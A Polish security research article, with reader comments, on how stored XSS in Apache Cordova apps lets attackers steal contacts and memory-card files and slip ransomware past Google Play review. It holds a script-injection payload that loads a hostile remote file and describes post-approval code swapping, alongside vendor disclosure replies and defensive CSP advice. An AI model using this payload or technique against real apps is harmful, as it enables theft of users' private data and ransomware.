Problemy bezpieczeństwa Apache Cordova – czyli jak jednym XSS-em wykraść całą zawartość karty pamięci telefonu

30 maja 2017, 17:38 | Teksty | komentarzy 12
: zin o bezpieczeństwie - pobierz w pdf/epub/mobi.

Na rynku aplikacji mobilnych jest dostępnych wiele różnych technologii, które umożliwiają tworzenie aplikacji. Jedna z nich – Apache Cordova – pozwala pisać aplikacje w JavaScript/HTML. Stworzone w ten sposób aplikacje są łatwe w dystrybucji, a ich działanie nie odbiega od aplikacji natywnych napisanych w Java lub C. Deweloper może rozwijać jedną wersję aplikacji na różne platformy mobilne, a użytkownik końcowy nie widzi różnicy w korzystaniu z aplikacji. Zasada działania jest prosta: framework udostępnia API, które można wykorzystać z poziomu kodu JavaScript, np. do zrobienia zdjęcia aparatem telefonu.

Niniejszy artykuł pokazuje jak wygląda kwestia bezpieczeństwa aplikacji mobilnych napisanych w JavaScript z wykorzystaniem frameworka Apache Cordova pod kątem występowania podatności Cross-Site Scripting.

Przykładowa aplikacja Apache Cordova

Poniższa przykładowa aplikacja podatna jest na ataki Stored Cross-Site Scripting – złośliwy kod można zapisać w danych pobieranych przez aplikację mobilną z serwera (np. w formie komentarza do artykułu). W efekcie na urządzeniach mobilnych użytkowników aplikacji, wykona się złośliwy kod atakującego. Jak jednak można wykorzystać XSS w aplikacji mobilnej do czegoś ciekawszego niż wyświetlenie alertu JavaScript?

Cordova, framework w którym zbudowana została aplikacja mobilna, udostępnia API które pozwala na odwoływanie się do wrażliwych funkcji systemu, np. odczytanie listy kontaktów, wykonanie zdjęcia lub odczytanie pliku z karty pamięci (użytkownik będzie musiał zaakceptować takie uprawnienia dla aplikacji). Jest to założenie tego frameworka – deweloper tworzy aplikację mobilną poprzez kod HTML/JavaScript i z poziomu tych technologii musi mieć możliwość wykonywania operacji na urządzeniu.

Jednak atakujący wykorzystując podatność XSS obecną w aplikacji, uzyskuje możliwość wpłynięcia na zachowanie aplikacji mobilnej. Jako że aplikacja jest napisana w JavaScript, przesłanie za pomocą XSS kodu JavaScript do wykonania jest dodaniem dowolnej, złośliwej funkcjonalności.

Struktura aplikacji mobilnej napisanej w Apache Cordova wygląda jak poniżej:

Cała mechanika działania aplikacji zostaje zapisana w plikach JS i HTML w katalogu assets/www.

Przykładowy plik index.html wygląda jak poniżej:

Dla zobrazowania podatności XSS w aplikacji mobilnej, zapiszmy na serwerze WWW kod JS alert(/xss/) – aplikacja mobilna wykona podany kod:

Rysunek 1: Wykonanie kodu JavaScript przez XSS w aplikacji mobilnej.

Rysunek 1: Wykonanie kodu JavaScript przez XSS w aplikacji mobilnej.

Skutki XSS-ów

Jako że Apache Cordova udostępnia API a sama aplikacja posiada uprawnienia m.in. do kontaktów oraz kamery, wykorzystajmy podatność XSS do osadzenia poniższego złośliwego kodu <script src="//sekurak.local/evil.js"></script>:

Efektem będzie wyświetlenie alertu z listą kontaktów użytkownika, oraz przesłanie ich w tle na serwer atakującego:

Rysunek 2: Wykonanie złośliwego kodu JavaScript zapisanego na serwerze przez atakującego i podatność Stored XSS.

Rysunek 2: Wykonanie złośliwego kodu JavaScript zapisanego na serwerze przez atakującego i podatność Stored XSS.

Rysunek 3: Aplikacja mobilna wysyła w tle zapytanie do złośliwego serwera atakującego z listą kontaktów przejętego urządzenia mobilnego.

Rysunek 3: Aplikacja mobilna wysyła w tle zapytanie do złośliwego serwera atakującego z listą kontaktów przejętego urządzenia mobilnego.

Do czego jeszcze można wykorzystać podatności we frameworkach aplikacji mobilnych JavaScript? Jako atakujący jesteśmy ograniczeni przez uprawnienia jakie posiada aplikacja mobilna – jeżeli aplikacja posiada uprawnienia i aktywny moduł do kamery – możemy nią operować; jeżeli aplikacja posiada uprawnienia do listy kontaktów – możemy odczytać lub zarządzać listą kontaktów, itd. Spróbujmy w takim razie wykraść prywatne zdjęcia z urządzeń mobilnych użytkowników aplikacji.

Poniższy kod wylistuje pliki na karcie pamięci oraz prześle je na serwer atakującego:

Rysunek 4: Prywatne zdjęcia użytkowników aplikacji wysyłane są na serwer atakującego.

Rysunek 4: Prywatne zdjęcia użytkowników aplikacji wysyłane są na serwer atakującego.

Jak widać na przykładach wykorzystanie Stored XSS w aplikacji może być fatalne w skutkach dla użytkowników aplikacji.

Warto zaznaczyć, że nawet w przypadku gdy aplikacja nie będzie podatna na ataki XSS – jeżeli atakujący uzyska dostęp do serwera WWW aplikacji mobilnej JavaScript (np. przez błąd typu Injection), korzystnym dla atakującego będzie osadzenie złośliwego kodu HTML/JavaScript w renderowanych zasobach aplikacji, np. w pobieranym z serwera pliku jQuery.js. Dzięki temu przejęcie jednego serwera WWW aplikacji mobilnej z której korzysta 100 000 użytkowników oraz kilka linijek JavaScript pozwala atakującemu na kradzież listy kontaktów, zrobienie zdjęcia użytkownikom, nagrywanie audio/wideo czy uzyskanie dostępu do systemu plików urządzenia mobilnego. Włamanie na jeden serwer może skutkować przejęciem kontroli nad wszystkimi urządzeniami mobilnymi użytkowników.

Rozwijając myśl ataku aplikacji mobilnych napisanych w JavaScript nasuwa się pytanie: Czy takie aplikacje faktycznie mogą przedostać się do sklepów, np. Google Play czy AppStore?

Bezpieczeństwo Android i Google Play

Na potrzeby artykułu została stworzona prosta aplikacja w Apache Cordova na Android. Następnie aplikacja została opublikowana na Google Play. Założenia aplikacji były proste – wyświetlała ona użytkownikowi najpopularniejsze memy internetowe (obrazki), po kliknięciu na mem był on zapisywany na karcie pamięci. Po zaakceptowaniu jej przez Google zmieniłem jej działanie, tak, że w efekcie aplikacja była w pełni uzbrojonym ransomware mobilnym, dostępnym do pobrania z Google Play.

Rysunek 5: Przykład działania testowej złośliwej aplikacji wgranej na Google Play Store.

Rysunek 5: Przykład działania testowej złośliwej aplikacji wgranej na Google Play Store.

Aplikacja nie przejawiała żadnego podejrzanego zachowania, bo też takiego nie miała. Dopiero po poprawnej weryfikacji przez Google Play, zmodyfikowałem pobierany z serwera przez aplikację plik jquery-1.3.20.min.js tak, że aplikacja zamiast zapisywać memy, wysyłała na złośliwy serwer listę kontaktów, kopię zdjęć z telefonu oraz plików z karty pamięci, a następnie wszystkie je szyfrowała. W taki sposób atak Stored XSS można obrócić w pełny funkcjonalny ransomware mobilny, który jest niewykrywalny przez Google.

Wykrycie takiego ataku jest mało prawdopodobne – w przypadku gdy atakujący zamieści na atakowanej stronie złośliwy kod JavaScript, może się on wykonać równolegle na setkach tysięcy urządzeniach mobilnych użytkowników aplikacji. Prosty kod JavaScript, który uzyska dostęp do kontaktów i plików z telefonu, uruchomi się tylko raz, po czym znika z zaatakowanego serwera, a setki urządzeń już wysyłają w tle swoje dane na serwery atakującego. O całym incydencie nie będzie wiedziało ani Google, ani producent aplikacji bo nie zobaczą żadnego ruchu sieciowego. Prawdopodobnie nie będą wiedzieli o tym także użytkownicy jako, iż cały atak będzie przeprowadzał się w tle tak jak powyższy przykład z zapisaniem mema. Po chwili ślad po ataku znika, ewentualne dowody zbrodni mogą zostać zapisane w cache aplikacji mobilnej, które także można z poziomu JavaScript wykasować. O skali ataku wiedzieć będzie tylko atakujący.

Jak podchodzi do tej kwestii właściciel sklepu Google Play? Atak polegający na dodaniu złośliwej aplikacji ransomware do sklepu Google Play został opisany i zgłoszony do zespołu Google Security. Poniżej odpowiedź (mail zawierający zgłoszenie informował, że odpowiedź na niego zostanie użyta w artykule):

Cześć Jakub,

[I’m writing in English, so that the rest of the team can pick up the conversation. We’re not all Polish – yet ;) ]

Gynvael mentioned us your case, so thanks for following up. It’s a cool attack vector, but I’m afraid it’s working as intended. Android apps (unlike, say, iOS apps) can by design download and execute arbitrary code at runtime – this time it’s not a Dalvik bytecode, but JS files that give you similar capabilities thanks to Cordova.

It’s true that you can bypass the Play Store validations on submission – there are probably other ways of achieving this as well, not relying on Javascript. The way that most protections for Android users work is at runtime – if you get to execute a code that’s harmful to the users on real user devices (and a large enough number of them for the system to pick it up), this is when the protections would kick in. For small scale it’s likely you’re just not reaching this threshold. This is just a rough description, but feel free to try to reverse engineer what’s going on Android devices.

So, from a security perspective (Google VRP) this would not be rewarded, as the system looks like it’s working as intended. But I’ll forward this to the Abuse team that might be interested in hearing about this specific issue – they might reach a different conclusion.

Still, the hack is l33t :)

Odpowiedź od Android Abuse Team:

Hi Jakub,

We appreciate the feedback, however the issues raised here are not specific to Android. The issues identified here point to application security vulnerabilities which should be addressed by developers through their Security Development Lifecycle. Android has published security development best practices <https://developer.android.com/training/articles/security-tips.html#UserData>.

This report will unfortunately not be accepted for our VRP.

Please continue to send us your research findings and feedback in the future.

Bezpieczeństwo w iOS i AppStore

Na iOS również można uzyskać dostęp do zdjęć, kontaktów z poziomu JavaScript Cordova. Jednak w celu uzyskania dostępu do zdjęć należy użyć innych pluginów Cordova niż w przypadku poprzedniego przykładu pod platformę Android (wynika to z różnic w sposobie przechowywania i udostępniania zdjęć na iOS). Do pobrania zdjęć na iOS można wykorzystać plugin cordova-plugin-photos, z przykładowym kodem JavaScript:

Zespół bezpieczeństwa Apple został poinformowany o tej metodzie ataku przed publikacją artykułu z miesięcznym wyprzedzeniem. Ze względu na założenia poufności komunikacji z Apple brak odpowiedzi, którą można zacytować w artykule, jednak jak zapewnia Apple, kwestia użycia dynamicznych natywnych SDK zostanie „zaadresowana” (bez powodzenia próbowano doprecyzować tę wypowiedź). W chwili publikacji artykułu jednak Apple nie posiada zabezpieczeń, które wyeliminują ataki z użyciem Cordova.

Na potrzeby artykułu przygotowana została testowa aplikacja do publikacji na AppStore, jednak ze względu na brak zgody zespołu Apple na wgranie testowej aplikacji na AppStore, zmieniono założenia. W celu potwierdzenia możliwości wystąpienia złośliwej aplikacji napisanej z użyciem Cordova na AppStore, użyto opublikowanej już aplikacji przez Adobe PhoneGap, a następnie zmodyfikowano odpowiedź serwera WWW, tak, aby zawierała złośliwy kod HTML/JavaScript. W efekcie możliwe było wykonanie złośliwego, zewnętrznego kodu JavaScript. (Nie przeprowadzano testów czy sama aplikacja poddana testom jest podatna na ataki XSS – w celu zasymulowania podatności wykorzystano oprogramowanie typu proxy, z modyfikacją odpowiedzi serwera, co nie ingerowało w dane dostawcy aplikacji; atak przeprowadzony był pasywnie/lokalnie). Podany przypadek można traktować jako dowód, iż możliwe jest wgranie złośliwej aplikacji na AppStore.

Reakcja Apache Cordova

Zespół bezpieczeństwa Apache został poinformowany o zachowaniu przed publikacją artykułu. Apache nie będzie wprowadzać poprawki do Cordovy, jako, że to na deweloperze ciąży odpowiedzialność za bezpieczeństwo aplikacji. W celu podniesienia bezpieczeństwa aplikacji napisanej w Cordova Apache rekomenduje stosowanie się do „whitelist” Cordovy oraz używanie poprawnych reguł CSP.

Wnioski/Podsumowanie

Deweloper powinien wymuszać bezpieczne polityki Content-Security-Policy, blokować przetwarzanie kodu HTML pobieranego z zasobów zewnętrznych oraz ograniczyć listy uprawnień aplikacji mobilnej do niezbędnego minimum. Warto zaznaczyć, iż od wersji Cordova 5 w domyślnie tworzonym pliku projektu index.html zdefiniowana jest polityka Content-Security-Policy. Nie zmienia to jednak faktu, iż z punktu widzenia użytkownika końcowego niewiele to pomaga – nadal nie ma pewności czy aplikacja posiada poprawną politykę CSP oraz czy w związku z tym nie padnie ofiarą atakującego lub czy nie pobiera właśnie malware mobilnego z Google Play/AppStore.

Pentester powinien zwrócić uwagę na to czy wymuszając złośliwy kod HTML/JavaScript w odpowiedzi serwera WWW, możliwe jest wykonanie kodu po stronie aplikacji mobilnej, nawet jeżeli obecnie aplikacja nie jest podatna na ataki XSS. Zezwalanie na przetwarzanie kodu HTML/JavaScript przetwarzanego dynamicznie, nawet kodu, który pobierany jest ze strony firmowej, powinno być odnotowane jako podatność bezpieczeństwa. Polityka CSP powinna być wymuszona w plikach konfiguracyjnych aplikacji mobilnej – polityka CSP ustawiona przez nagłówki odpowiedzi HTTP może zostać zmodyfikowana przez atakującego po przejęciu serwera WWW a jej brak wykorzystany może zostać do infekowania urządzeń mobilnych.

Użytkownik końcowy powinien jak zawsze – weryfikować jakie uprawnienia nadaje aplikacji mobilnej. W pozostałych kwestiach musi niestety liczyć na prawidłowe zarządzanie bezpieczeństwem producenta aplikacji lub liczyć, że aplikacja nie jest złośliwym oprogramowaniem wgranym na Google Play/AppStore. Niestety, aplikacja, która obecnie jest bezpieczna, może zostać zmodyfikowana przez atakującego poprzez osadzenie złośliwego JavaScript na serwerach aplikacji. Być może warto również rozważyć używanie aplikacji, która szyfruje zdjęcia na telefonie a dostęp do nich możliwy jest dopiero o odblokowaniu zasobów z użyciem biometryki lub hasła?

Ze względu na rozwój technologii JavaScript oraz aplikacji na nich opartych, zarówno mobilnych, web-frontendowych jak także urządzeń IoT, możemy liczyć na więcej podatności i masowych ataków związanych z tymi technologiami w przyszłości.

Pytanie na koniec – spójrzcie na pierwszy ekran waszych urządzeń mobilnych. Ile z widocznych aplikacji ma uprawnienia dostępu do zdjęć?

Jeżeli chcecie sprawdzić uprawnienia swoich aplikacji, na Android >6.0 możecie to zrobić otwierając kolejno: Ustawienia > Aplikacje > Zaawansowane > Uprawnienia aplikacji. Na iOS: Ustawienia > Prywatność > Zdjęcia/Mikrofon etc.

Propozycje dalszych badań:

  • Ile aplikacji stworzonych z użyciem Apache Cordova dostępnych jest na Google Play/AppStore?
  • Ile z nich posiada poprawną politykę CSP wymuszoną w plikach aplikacyjnych?
  • Ile z nich posiada odniesienia do zewnętrznych plików JavaScript – i ile z tych zewnętrznych plików JavaScript odpowiada za złośliwe funkcjonalności?

Jakub Darecki, pentester w Securitum

Źródła/odniesienia

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. dayvan

    Świetny, merytoryczny artykuł :)

    Odpowiedz
  2. Bartłomiej

    Naprawdę bardzo dobry artykuł! Jeden z najlepszych jakie miałem okazję czytać. Czy jest szansa na kontynuację tej serii ? np. poruszającej inne frameworki ?

    Odpowiedz
  3. Tony Hołk

    A niekochanym Windows Phone się zainteresujecie? Tam tez są chyba apki Cordova ^^.

    Odpowiedz
  4. matlaczek

    Jak to się ma w odniesieniu do Androida 7.0 gdzie uprawnienia możemy ustawiać per aplikacja? Nie jestem expertem z Cordova i nie wiem jak to tam do końca działa. Czy jak jednej aplikacji z Cordova dam dostęp do karty pamięci i fotek bo np. jest to galeria w Cordova (czysto hipotetycznie), to inna podatna na ten XSS od razu ma też do tego dostęp? Czy w momencie podmianki JS na serwerze nagle wyskoczy mi komunikat, że aplikacja chce dostęp do moich fotek?

    Odpowiedz
    • rafal

      Nie. Każda aplikacja bazująca na technologii Apache Cordova może mieć różne uprawnienia. Uprawnienia aplikacji wynikają z użytych „wtyczek”. Jedna aplikacja może mieć dostęp do zdjęć, druga nie. Wszystko leży w gestii programisty. Jeżeli twórca w jednej aplikacji nie użył pluginu zapewniającego dostępu do kontaktów telefonu, to atak XSS w tej aplikacji wycelowany na kontakty nic nie da, gdyż nie będzie można przy pomocy JavaScript dostać się do tych kontaktów.

      Druga sprawa w odniesieniu do Androida 7.0, jeśli zabronisz aplikacji dostępu do zdjęć – to nic tego nie zmieni, przynajmniej w kontekście rzeczy o których mowa w artykule. Nawet, gdy aplikacja ma wtyczkę do dostępu do zdjęć.

      Artykuł jest ciekawy, dobry, ale trochę zbyt wprowadzający w stan niepokoju. Właściwie może jeszcze mam mało wiedzy, ale nie widziałem jeszcze przypadku, aby ktoś w aplikacji Cordova osadzał pliki *.js na zewnętrznym serwerze, zamiast w kontenerze aplikacji.

      Z opisywanym atakiem jest trochę jak próbą kradzieży zdjęć z laptopa bez dostępu do sieci w zamkniętym domu. Wszystko zależy od zabezpieczeń domu niż samego laptopa, chociaż na nim też można jakoś to zabezpieczyć.

      Odpowiedz
      • Syfer

        Przecież Adobe to zrobiło, a zabezpieczenia ich aplikacji pokonało proxy. Im też należałoby wysłać informację, że powinni włączyć CSP

        Odpowiedz
  5. olo

    Dzięki za art.
    Biednemu użytkownikowi Androida pozostaje chyba tylko poleganie na XPrivacy i AFWall+, ale te niestety, wymagają XPosed, który nie jest jeszcze dostępny dla Androida 7.x

    Odpowiedz
  6. krytyk
    Odpowiedz
    • JD

      Dziękuję za podesłanie linków. Przed napisaniem artykułu szukałem informacji czy innych opisów tego zachowania jednak nie widziałem tych materiałów. Sądząc po odpowiedzi m.in. Zespołu Apple na moje zgłoszenie wnioskuje, że temat nie jest szeroko znany a opisany w artykule przypadek wniósł coś nowego do tematu dynamicznych SDK.

      Odpowiedz
    • wk

      @krytyk
      Jak ktoś pracuje głównie nad swoją robotą a nie nad analizą cudzych osiągnięć, zawsze będą jakieś źródła, do których nie dotrze. Nie ma co tego wyolbrzymiać, to nie recenzja pracy naukowej ;)
      I ten, przeczytaj sobie może wierszyk Brzechwy „Kwoka”.

      Odpowiedz
      • Josh

        Pozamiatane. Siedzi jakiś fircyk i próbuje zaistnieć: „a, nasram tu i powiem, że zapomnieli posprzątać”.

        Odpowiedz
  7. Maciek

    Panie Jakubie dziękuję za wzbudzajacy ciekawość artykuł.
    Czy wszystkie typy XSS tutaj działają ? Czy jest jakieś ograniczenie do funkcji JS ?

    Odpowiedz

Odpowiedz